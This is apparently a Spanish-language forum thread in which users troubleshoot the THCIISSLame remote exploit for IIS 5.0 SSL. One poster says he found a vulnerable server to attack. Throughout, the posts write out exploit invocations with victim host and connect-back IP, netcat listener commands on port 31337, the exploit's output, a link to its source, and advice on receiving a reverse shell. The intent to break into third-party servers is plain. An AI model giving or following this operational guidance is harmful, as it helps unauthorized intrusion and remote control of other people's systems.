Hola, bueno quisiera que me yudaran con este exploit.

Ya lo tengo compilado
Tambien ya encontre un serve Vulnerable
Inicio en Proceso para Explotarlo

   y aparece esto:
           
             

• building buffer
• connecting the target
• exploit send
• waiting for shell

 y hasta ahi se queda.

   Ya lei el otro tema de ayuda de este exploit donde dicen que hay que dejar escuchando un puerto con el netcat tambien ago eso.
     
   asi:
          c:>nc -L -p 1221

   Pero no recibo nada y se queda el exploit parado como les mostre arriba.

     Tambien me aparece un error
    este:
         
             

• building buffer
• connecting the target
• exploit send
• waiting for shell

             bind error() 10048

----------------------------------------------------------------------
bueno ahora saliendo de eso supongamos que ya funciono.

donde aparecera la shell que me mande?
  en mi msdos o en un archivo, la pregunta es donde?

quizas el host este parcheado ...

saludosss 
psd: no se si lo sabras, pero existe otra version mas actualizada de ese exploit ...

http://thc.org/exploits/THCIISSLame.c

Mira segun me acuerdo de aberlo probado y logrado muchas shells leste exploit siempre me funciono sin dejar el netcat a la escucha  ya que el mismo ejecuta una shell  inversa que luego se conectara a tu equipo siempre y cuando especifiques la Ip correcta del mismo
Y te recomiiendo que lo realñices sobre el puerto 31337.

Saludos

Hola a todos, realmente queria felicitar a las personas que hacen posible esta web,
es alucinante la cantidad de info que hay y lo que es mejor para todos los niveles
de conocimiento, no soy nada experto en estos temas y la forma de explicar algunas
cosas es pa' el pueblo y no para unos pocos!

Bueno ahora si, viene la pregunta respecto de la ejecucion del exploit "THCIISSLame.exe"
esto es lo que hago y no pasa nada, pero lo que me desconcierta es el mensaje de
"Exploit successful ! Have fun !"....


1º Ejecuto el exploit en un CMD


C:\temp\exploits>THCIISSLame.exe <victim-host> <connectback-ip> 31337

THCIISSLame v0.2 - IIS 5.0 SSL remote root exploit
tested on Windows 2000 Server german/english SP4
by Johnny Cyberpunk (jcyberpunk@thc.org)

• building buffer
• connecting the target
• exploit send
• waiting for shell

2º En otro CMD executo

C:\temp\nc>nc localhost 31337




3º En el CMD del paso 1 sale lo siguiente

C:\temp\exploits>THCIISSLame.exe <victim-host> <connectback-ip> 31337

THCIISSLame v0.2 - IIS 5.0 SSL remote root exploit
tested on Windows 2000 Server german/english SP4
by Johnny Cyberpunk (jcyberpunk@thc.org)

• building buffer
• connecting the target
• exploit send
• waiting for shell
• Exploit successful ! Have fun !
• --------------------------------------------------------------------

El problema es que no hace nada mas! alguna sugerencia?
y si intento primero ejecutar el nc en mi PC y despues el
exploit genera el siguiente mensaje:


1º Ejecutar el nc de forma local

C:\temp\nc>nc -v -l -p 31337
listening on [any] 31337 ...



2º Ejecutar el exploit

C:\temp\exploits>THCIISSLame.exe <victim-host> <connectback-ip> 31337

THCIISSLame v0.2 - IIS 5.0 SSL remote root exploit
tested on Windows 2000 Server german/english SP4
by Johnny Cyberpunk (jcyberpunk@thc.org)

• building buffer
• connecting the target
• exploit send

bind error() 10048


Muchas gracias!!!!

PD: Rojodos, muy pero muy bueno los documentos que posteas, y como dije antes de facil entendimiento!!!

Como se ve en tu codigo tienes la version 0.2 por ende tendria que retornar la shell de system aveces los servers pueden tener IDS, firrewall  o estar pacheados es vieja la vuln no creo que haya muchos serveres con este bug.

Salu2